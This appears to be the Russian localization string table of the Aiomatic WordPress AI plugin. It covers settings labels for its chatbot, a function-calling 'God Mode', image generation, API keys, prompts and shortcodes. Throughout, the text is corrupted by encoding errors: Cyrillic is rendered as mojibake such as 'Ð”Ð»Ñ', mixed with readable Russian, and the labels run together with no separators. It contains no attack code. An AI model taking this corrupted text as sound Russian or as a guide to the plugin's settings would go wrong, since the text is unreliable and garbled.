                    Ð”Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð´Ð»Ð¸Ð½Ð½Ñ‹Ñ… Статей,1000Ñекунд рекомендуетÑÑ Ð¼Ð°ÐºÑимального времени Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ .
                    См.Увеличение макÑимального времени Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ PHP%1$s. Мы рекомендуем уÑтановить объем памÑти не менее 64MB. Чтобы узнать, как Ñто Ñделать, Ñм.:Увеличение памÑти, выделенной Ð´Ð»Ñ PHP.%s ÑекундМодуль «Dall-E ИзображениÑ»:Модуль «Режим Бога» (вызов функций WordPress) — БЕТÐ:Ð˜Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ñ Ultimate Membership ProОбучающее видео по интеграции Ultimate Membership Pro:Ð˜Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ñ Ultimate Membership Pro:'оматичеÑкие Плагины, Ñозданные CodeRevolution(ПожалуйÑта, увеличьте Ñто значение, еÑли вы хотите загружать большие наборы данных)(ПожалуйÑта, увеличьте Ñто значение, еÑли вы хотите загружать файлы большего размера)(int) - год из 4 цифр (например, 2011).(int) - День меÑÑца (от 1 до 31).(int) - Ðомер меÑÑца (от 1 до 12).(int) - номер ПоÑта, который нужно изменить. ИÑпользуйте 'posts_per_page'=-1, чтобы изменить вÑе ПоÑÑ‚Ñ‹.(int) - номер ПоÑта, который нужно перемеÑтить или пропуÑтить.(int) - иÑпользовать id Ñтраницы.(int) - иÑпользовать id Ñтраницы. Верните только дочерние Страницы.(int,int,int) - иÑпользовать ID автора [иÑпользуйте Ð¼Ð¸Ð½ÑƒÑ (-), чтобы иÑключить авторов по ID ex. -1,-2,-3](откроетÑÑ Ð² новой вкладке)(Ñтрока) - Ключ пользовательÑкого полÑ.(Ñтрока) — значение произвольного полÑ.(Ñтрока) — определÑет порÑдок возраÑÑ‚Ð°Ð½Ð¸Ñ Ð¸Ð»Ð¸ ÑƒÐ±Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð¿Ð°Ñ€Ð°Ð¼ÐµÑ‚Ñ€Ð° «orderby». По умолчанию «DESC».(Ñтрока) — передает переменную Ñтроки запроÑа из поиÑка. Пример иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñм.: Ñта ÑÑылка .(Ñтрока) - Сортировать полученные ПоÑÑ‚Ñ‹ по параметру. По умолчанию «дата».(Ñтрока) — возвращаемый ÑÑ‚Ð°Ñ‚ÑƒÑ ÐŸÐ¾ÑÑ‚Ñ‹. ДопуÑтимые значениÑ: публикациÑ, ожидание, черновик, автоматичеÑкий черновик, будущее, чаÑтное, наÑледование, корзина, другие пользовательÑкие поÑÑ‚-ÑтатуÑÑ‹.(Ñтрока) — иÑпользуйте 'user_nicename' (ÐЕ имÑ)(Ñтрока) - иÑпользовать Ñлаг Ñтраницы.(Ñтрока) - иÑпользовать почтовый Ñлаг.(string,string) — возвращаемые Типы ПоÑтов. ДопуÑтимые значениÑ: ПоÑÑ‚, Ñтраница, редакциÑ, вложение, другие пользовательÑкие Типы ПоÑтов. Чтобы ÑоответÑтвовать любому Типу ПоÑта, введите ключевое Ñлово: любой. По умолчанию иÑпользуетÑÑ ÐŸÐ¾ÑÑ‚ (еÑли оÑтавить пуÑтым).(string,string,string) - иÑпользовать Ñрлыки категорий вмеÑто имен.(string,string,string) - иÑпользовать Ñлаги тегов вмеÑто имен.* = требуетÑÑ+ Больше, нажми Ð´Ð»Ñ Ð´ÐµÑ‚Ð°Ð»ÐµÐ¹://1.envato.market/aiomatic//coderevolution.ro00-3511-2551010-2501024x10241024x1792 (только Ð´Ð»Ñ Dall-E 3)1792x1024 (только Ð´Ð»Ñ Dall-E 3)22.5256x256256x256 (только Ð´Ð»Ñ Dall-E 2)33803d-модель45512x512512x512 (только Ð´Ð»Ñ Dall-E 2 и Stable Diffusion)5806789Флаг, указывающий, что должны быть возвращены только изображениÑ, подходÑщие Ð´Ð»Ñ Ð²Ñех возраÑтов.Подборка Плагинов, Ð²Ñ‹Ð´ÐµÐ»ÐµÐ½Ð½Ð°Ñ Ð´Ð»Ñ Ð²Ð°Ñ.Параметры API AI AI AssistantПервое Ñообщение AI ÐÑÑиÑтентаИдентификатор AI-аÑÑиÑтентаИдентификатор AI-аÑÑиÑтента*Ð˜Ð¼Ñ AI-аÑÑиÑтента:Опции AI-ÐÑÑиÑтентаРоль аÑÑиÑтента ИИ: AI ÐÑÑиÑтентыУчебное видео по AI ÐÑÑиÑтенты :Идентификатор ÐÑÑиÑтента AIИзображение Ðватара AI:Цвет фона вÑплывающего окна AI:AI Чат-ботВарианты раÑкраÑки AI-чат-бота:Детали конфигурацAI AI ChatbotПараметры Ð¡Ñ‚Ð¸Ð»Ñ Ð§Ð°Ñ‚-бота AI по Умолчанию:Ð’Ñтраивание AI Chatbot на удаленные Ñайты:ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ AI Чат-бота:Варианты модерации AI Chatbot:ÐаÑтройки AI Чат-бот:Учебное видео по AI Чат-ботуОтветчик Комментариев AIУчебное видео об Ответчике Комментариев AI:Модель Ðвтора Комментариев AI:Промпты Ðвтора Комментариев AI:ÐаÑтройки AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐšÐ¾Ð¼Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ð¸ÐµÐ² :Учебное видео по напиÑанию комментариев AI:AI Создатель КомментариевПроверка AI Контента Параметры AI-Контента ЗавершениÑ:ÐаÑтройки Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° AI:Параметры Ð ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ AI Контента:Редактор AI-КонтентаТемпература редактора Контента AI:Редактор Контента AI Top_p:Учебное видео по редактору Контента AIОбучающее видео по функциÑм фильтров контента AI:Минимальное количеÑтво Ñимволов AI-КонтентаМинимальное количеÑтво Ñимволов AI-Контента:AI Content Writer Temperature:AI Content Writer Top_p:Модель выбора избранного Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI по умолчанию:Выбор избранных изображений AI по умолчанию:Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ AIÐаÑтройки автоматичеÑкого индекÑÐ¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ AI Ð’ÑтраиваниÑ:ÐаÑтройки оптимизации Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ AI:ÐаÑтройки вÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ AI:ÐаÑтройки Шаблона Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ AI:Цвет шрифта AI:Формы AIПараметры Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¤Ð¾Ñ€Ð¼ AI:Импортер/ЭкÑпортер Форм AIВарианты AI-Форм:ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¤Ð¾Ñ€Ð¼ AI:ÐаÑтройки AI-формСтиль Форм AI:Штраф за чаÑтоту AIШтраф за чаÑтоту AI:Сгенерировано AIРаÑположение аудио/видео, Ñгенерированного AI:Контент, Сгенерированный AIÐÐ½Ð¾Ð½Ñ Ð¡Ñ‚Ð°Ñ‚ÑŒÐ¸ Сгенерированный AIПараметры Избранного ИзображениÑ, Ñозданного AI:Изменение выÑоты Ñгенерированного AI изображениÑ:КачеÑтво Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñ€Ð°Ð·Ð¼ÐµÑ€Ð° изображениÑ, Ñгенерированного AI:Изменение ширины Ñгенерированного AI изображениÑ:Размер изображениÑ, Ñгенерированного AI:ИзображениÑ, Ñозданные AIОтвет Сгенерированный AIРезультаты Сгенерированные AISEO-полÑ, Сгенерированные AISEO мета-опиÑание, Ñгенерированное AI Теги, Сгенерированные AI Заголовки Сгенерированные AI AI Image Размер Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð§Ð°Ñ‚-бота:ÐаÑтройки Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI Чат-бота :КоличеÑтво Изображений AIAI-изображение Dall-EВыбор Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI СнизуМодель Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AIМодель Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI:Выбор Изображений AIИÑточник Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI:Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI Stable DiffusionAI-изображениÑAI Ðачальные Ð¡Ð¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ (по одному в Ñтроке):AI доÑтуп в ИнтернетÐаÑтройки доÑтупа в Интернет Ð´Ð»Ñ AIМодель Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов AI Linking:Промпт Ð´Ð»Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов AI Linking:РаÑÑˆÐ¸Ñ€ÐµÐ½Ð¸Ñ ÐœÐµÐ´Ð¸Ð°Ñ‚ÐµÐºÐ¸ AI:Модель AIМодель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Категорий:Модель AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Ñравнительных таблицМодель AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Ñравнительной таблицы:Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° КонтентаМодель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Контента:Модель иÑкуÑÑтвенного интеллекта Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° анализа отзывов клиентовМодель AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° анализа отзывов клиентов:Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° ÐнонÑаМодель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° ÐнонÑа:Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Ð’Ñтупительной ЧаÑтиМодель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Ð’Ñтупительной ЧаÑти:Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Заключительной ЧаÑтиМодель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Заключительной ЧаÑти:Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° почтовых тегов:Модель AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° плюÑов и минуÑовМодель AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° плюÑов и минуÑов:Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° ВопроÑов и ОтветовМодель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° ВопроÑов и Ответов:Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° ÑекцийМодель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Разделов ПоÑта:Модель AI Ð´Ð»Ñ Ñ‚ÐµÐºÑтового Генератора:Модель AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° метаопиÑÐ°Ð½Ð¸Ñ AI SEO:Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Категорий:Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° категорийМодель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° комментариев:Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° ЗаголовоковМодель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Заголовоков:Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° тегов ПоÑтовМодель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Тегов:Модель AI Ð´Ð»Ñ Ñ‚ÐµÐºÑтового ГенератораМодель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° текÑта заголовкаМодель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° титровМодель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Ð’Ñтупительной чаÑти ПоÑта:Модель AI Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° текÑта заголовка:Параметры модели AIМодель AI Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта:Модель AI Ð´Ð»Ñ Ð¸ÑпользованиÑ:Обучение модели AIМодель AI*Модель модерации AI:Менеджер шаблонов AI OmniBlockAI OmniBlocksУчебное поÑобие по AI OmniBlocksПервое Ñообщение AI-перÑонажаAI PlaygroundПромпт Ð´Ð»Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐŸÐ¾Ñтов по умолчанию:Промпт Ð´Ð»Ñ ÐнонÑа AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐŸÐ¾Ñтов по умолчанию:Модель AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐŸÐ¾Ñтов по умолчанию:Промпт Мета-опиÑÐ°Ð½Ð¸Ñ AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐŸÐ¾Ñтов по умолчанию:ÐаÑтройки AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐŸÐ¾Ñтов по умолчанию:Промпт Ð´Ð»Ñ Ð¢ÐµÐ³Ð¾Ð² AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐŸÐ¾Ñтов по умолчанию:Промпт Ð´Ð»Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ¾Ð² AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐŸÐ¾Ñтов по умолчанию:Штраф за приÑутÑтвие AIШтраф за приÑутÑтвие AI:Промпты AIÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных пользователей:ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð½ÐµÐ·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных пользователей:AI ИÑточникÐаÑтройки AIШорткоды и формы AIÐ’Ñ‹Ñота ГоворÑщего AI Ðватара:Ширина ГоворÑщего AI Ðватара:AI Создатель ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономийМодель AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐžÐ¿Ð¸ÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономийПромпты AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐžÐ¿Ð¸ÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономийÐаÑторойки AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐžÐ¿Ð¸ÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономийУчебное видео по AI Создателю ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий:AI Создатель ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономийAI Создатель ТакÑономий Ð´Ð»Ñ SEO Модель AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ SEO ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий:Промпты AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ SEO ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий:ÐаÑтройки AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ SEO ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий:Температура AIТемпература AI:AI-текÑтТекÑÑ‚ AI Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð¹ Ñтроки вводаAI Top_pAI Top_p:ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° иÑпользование AIAI Video Stable Diffusion AI ВидеоФормат вывода ГолоÑа AI:Селектор ГолоÑа AI:AI Создатель ПоÑтовПараметры AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ AI Writer Промпты Ð´Ð»Ñ Ð£Ð²ÐµÐ´Ð¾Ð¼Ð»ÐµÐ½Ð¸Ñ Ð¾Ð± отправки Email Таргет AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ Ð—Ð½Ð°Ñ‡ÐµÐ½Ð¸Ðµ API CX (необÑзательно)СтоимоÑÑ‚ÑŒ вызова API (долл. СШÐ)Счетчик вызовов APIКлюч API (необÑзательно)Ключ API:Ключи APIКлючи API (по одному на Ñтроку) — *ОбÑзательно:Ключи API (по одному на Ñтроку):Параметры APIТаймаут запроÑов APIКоличеÑтво токенов APIAPI-ключКлюч API в наÑтройках Плагина (в завиÑимоÑти от того, какой ÑÐµÑ€Ð²Ð¸Ñ Ð²Ñ‹ выберете). Ð’Ñ‹ можете Ñделать Ñто, Ð¿ÐµÑ€ÐµÐ¹Ð´Ñ Ð½Ð° вкладку «Ключи API» Ñверху. Ðа Ñтой вкладке вы также найдете некоторые дополнительные ключи API Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ, напримерAPI-ключ илиМакÑимальное количеÑтво повторных попыток APIИÑпользование API Ð´Ð»Ñ Ñтой учетной запиÑи пользователÑ:Цена: от низкой до выÑокойÐад ПолÑми ВводаÐбÑолютный Таймфрейм:Ключ доÑтупа (необÑзательно)Приобретение Плагина Aiomatic не включает кредит OpenAI. Покупка Aiomatic предоÑтавлÑет вам доÑтуп к раÑширенным функциÑм Плагина, но не покрывает никаких кредитов API. Вам нужно будет купить кредит у OpenAI или подпиÑку у AiomaticAPI отдельно.ÐктивациÑДейÑтвиÑÐктивировать Лицензию на ПлагинÐктивированоÐктивные ПлагиныÐктивноÑÑ‚ÑŒ и ЛогированиеЛоги ÐктивноÑти:Ðктивные ЛогиURL-Ð°Ð´Ñ€ÐµÑ Ð¸Ñходного Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ðктера:Добавить Ðовую Форму AIДобавить новое поле ввода формыДобавить новый шаблон OmniBlockДобавьте новый OmniBlock в указанную выше очередь (перетащите):Добавьте похожее видео в конец ПоÑтаДобавьте похожее видео в конец ПоÑта:Добавьте ÑоответÑтвующее видео YouTube в ÑтатьюДобавьте ÑоответÑтвующее видео YouTube в Ñтатью:Добавьте Контент, Ñозданный AI:Добавить Контент, Ñгенерированный AI: Ñто автоматичеÑки добавит Контент, Ñгенерированный AI, к ПоÑтам.Добавьте изображение к каждому заголовку ÑтатьиДобавьте Изображение к каждому Заголовку Статьи:Добавить в Ñтатью раздел «Ðнализ отзывов клиентов»Добавить в Ñтатью раздел «Ðнализ отзывов клиентов»:Добавить раздел «ПлюÑÑ‹ и минуÑы» ÑтатьиДобавить раздел Ñтатьи «ПлюÑÑ‹ и минуÑы»:Добавить раздел Ñтатьи «ВопроÑÑ‹ и ответы» Добавить раздел Ñтатьи «ВопроÑÑ‹ и ответы» :Добавить раздел Ñтатьи «Содержание» Добавить раздел Ñтатьи «Содержание»:Добавить Раздел ВопроÑов и Ответов по ÑтатьеДобавить Раздел ВопроÑов и Ответов по Ñтатье:Добавить Статью Оглавление РазделаДобавить Раздел Оглавление в Статью :Добавить Заголовки к Контенту какДобавить Заголовки к Контенту как:Добавить нового аÑÑиÑтентаДобавить новый шаблон OmniBlockДобавить новую личноÑтьДобавить новую личноÑÑ‚ÑŒ:Добавить новый иÑточник ПоÑтыДобавить атрибут Nofollow к ÑÑылкам вручнуюДобавьте атрибут Nofollow к ÑÑылкам вручную:Добавить OmniBlockДобавить таблицу ÑÑ€Ð°Ð²Ð½ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð¾Ð²Ð”Ð¾Ð±Ð°Ð²ÑŒÑ‚Ðµ Ñравнительную таблицу продуктов:Добавьте Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð° в ÑтатьюДобавьте Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð° в Ñтатью:Добавить Ð½Ð°Ð·Ð²Ð°Ð½Ð¸Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð¾Ð² к Ñодержимому какДобавить Ð½Ð°Ð·Ð²Ð°Ð½Ð¸Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð¾Ð² к контенту как:Добавить Разделы к Ñодержимому какДобавить Разделы к Ñодержимому как:Добавьте видео YouTube в ÑтатьюДобавьте видео YouTube в Ñтатью:Добавьте разделенный запÑтыми ÑпиÑок категорий, которые будут уÑтановлены Ð´Ð»Ñ Ð¿Ð¾Ñтов.Добавьте разделенный запÑтыми ÑпиÑок идентификаторов поÑтов, на которых ÑредÑтво замены ключевых Ñлов не будет работать.Добавьте разделенный запÑтыми ÑпиÑок тегов, которые будут уÑтановлены Ð´Ð»Ñ Ð¿Ð¾Ñтов.Добавьте контекÑÑ‚ в AI Чат-бот , чтобы он знал, как дейÑтвовать и как отвечать клиентам. ЗдеÑÑŒ вы можете определить Ñзык, тон голоÑа и роль ИИ-помощника. ЗдеÑÑŒ также можно будет определить любые другие наÑтройки. Этот текÑÑ‚ будет добавлÑÑ‚ÑŒÑÑ Ðº каждому разговору, чтобы Ñообщить AI дополнительную информацию о Ð²Ð°Ñ Ð¸Ð»Ð¸ его поведении. Этот текÑÑ‚ не будет отображатьÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм, он будет отправлен только чат-боту. Ð’Ñ‹ также можете иÑпользовать короткие коды в Ñтом поле. СпиÑок поддерживаемых коротких кодов: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. Ð’Ñ‹ также можете иÑпользовать наÑтраиваемые Ð¿Ð¾Ð»Ñ (post meta), назначенные ПоÑтам, Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких коротких кодов в Ñтом формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¼ÐµÑ‚Ð°Ð¿Ð¾Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких коротких кодов в Ñтом формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из наÑтраиваемого Ð¿Ð¾Ð»Ñ post_data, вам Ñледует иÑпользовать Ñтот короткий код: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках Ð´Ð»Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹ Ñемени. Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды seed - Обновление: вложенные шорткоды также поддерживаютÑÑ (шорткоды, Ñозданные по правилам других плагинов). Пример запроÑа Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ AI --- Article: "%%post_content%%" ОбÑуждение:Добавьте ÑпиÑок функций, которые будет разрешено выполнÑÑ‚ÑŒ чатботу (по одной функции в каждой Ñтроке). ЕÑли вы зададите здеÑÑŒ ÑпиÑок функций, то Ð»ÑŽÐ±Ð°Ñ Ð´Ñ€ÑƒÐ³Ð°Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ, не входÑÑ‰Ð°Ñ Ð² Ñтот ÑпиÑок, не будет разрешена к выполнению чатботом в режиме бога.Добавьте ÑпиÑок функций, которые чатбот не Ñможет выполнÑÑ‚ÑŒ (по одной функции в каждой Ñтроке).Добавьте ÑпиÑок Заголовоков (по одному в каждой Ñтроке) Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² Ñгенерированных СтатьÑÑ…. ЗдеÑÑŒ можно иÑпользовать Ñледующие Шорткоды: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ Шорткоды (Шорткоды, Ñозданные по правилам других Плагинов).Добавьте ÑпиÑок URL-адреÑов изображений (по одному в каждой Ñтроке) Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² Ñгенерированных СтатьÑÑ…. - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ Шорткоды (Шорткоды, Ñозданные по правилам других Плагинов).Добавить название менюДобавьте Ð¸Ð¼Ñ Ð´Ð»Ñ Ñвоей коллекции Qdrant. Это необÑзательно. Значение по умолчанию: qdrant.Добавьте новую вÑтавку:Добавьте новую форму:Добавить ПромптДобавьте ÑвÑзанное видео YouTube в конец Ñозданного Контента публикации. Ð”Ð»Ñ Ñтой функции вам потребуетÑÑ Ð´Ð¾Ð±Ð°Ð²Ð¸Ñ‚ÑŒ Ñ…Ð¾Ñ‚Ñ Ð±Ñ‹ один ключ API YouTube в поле ÐаÑтроек Плагина «ОÑновные ÐаÑтройки» -> «СпиÑок ключей API YouTube».Добавьте период времени, в течение которого Плагин будет запуÑкать импорт по раÑпиÑанию. Чтобы отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым. Это работает на оÑнове вашего текущего чаÑового поÑÑа и времени Ñервера. Ваше текущее Ð²Ñ€ÐµÐ¼Ñ Ð½Ð° Ñервере:Добавьте дополнительные короткие коды, которые будут 